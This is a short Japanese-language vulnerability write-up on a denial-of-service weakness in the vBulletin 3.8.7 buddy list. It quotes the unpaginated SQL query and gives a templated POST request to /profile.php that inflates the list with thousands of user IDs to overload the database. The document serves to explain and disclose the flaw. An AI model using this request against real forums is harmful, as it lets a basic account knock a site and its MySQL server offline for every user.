
vBulletin 3.8.7のフレンドリストにおけるサービス拒否(DoS)脆弱性の解説。
/misc.php?do=buddylist エンドポイントは、すべてのバディとそのユーザー情報およびセッション情報を取得してオンラインステータスを確認するための、単一で大規模なJOINクエリを実行します。このクエリはページネーションや結果制限なしにバディリスト全体を処理するため、バディリストが大きくなると非常にリソースを消費し、データベースに過負荷をかける可能性があります。
この問題は悪用が容易で、最小限の設定で済みます。基本ユーザーアカウント以外の特別な権限は必要ありません。バディリストを増やすだけで、データベースに深刻な負荷をかけることができます。
このSQLクエリは、各バディのオンラインステータスを確認するために、バディの詳細とセッション情報を取得します。バディリスト全体を処理し、各エントリに対してセッションデータと結合するため、クエリは非常に大きく、リソースを消費します。
$buddys = $db->query_read_slave("
SELECT
user.username,
(user.options & " . $vbulletin->bf_misc_useroptions['invisible'] . ") AS invisible,
user.userid,
session.lastactivity
FROM " . TABLE_PREFIX . "userlist AS userlist
LEFT JOIN " . TABLE_PREFIX . "user AS user ON (user.userid = userlist.relationid)
LEFT JOIN " . TABLE_PREFIX . "session AS session ON (session.userid = user.userid)
WHERE userlist.userid = {$vbulletin->userinfo['userid']}
AND userlist.relationid = user.userid
AND type = 'buddy'
ORDER BY username ASC, session.lastactivity DESC
");
/profile.php に listbits をPOSTすることで、大量のフレンドリストを入力できます。これを数千のユーザーIDに対して繰り返してバディリストを増やすことができます:
POST /profile.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
securitytoken=TOKEN
&ajax=1
&do=updatelist
&userlist=buddy
&listbits[buddy_original][USER_ID]=USER_ID
&listbits[buddy][USER_ID]=USER_ID
&listbits[friend][USER_ID]=USER_ID
&listbits[friend_original][USER_ID]=USER_ID
...
大規模なフォーラムでは、深刻なクエリ遅延を引き起こしたり、MySQLインスタンス全体をクラッシュさせる可能性があります。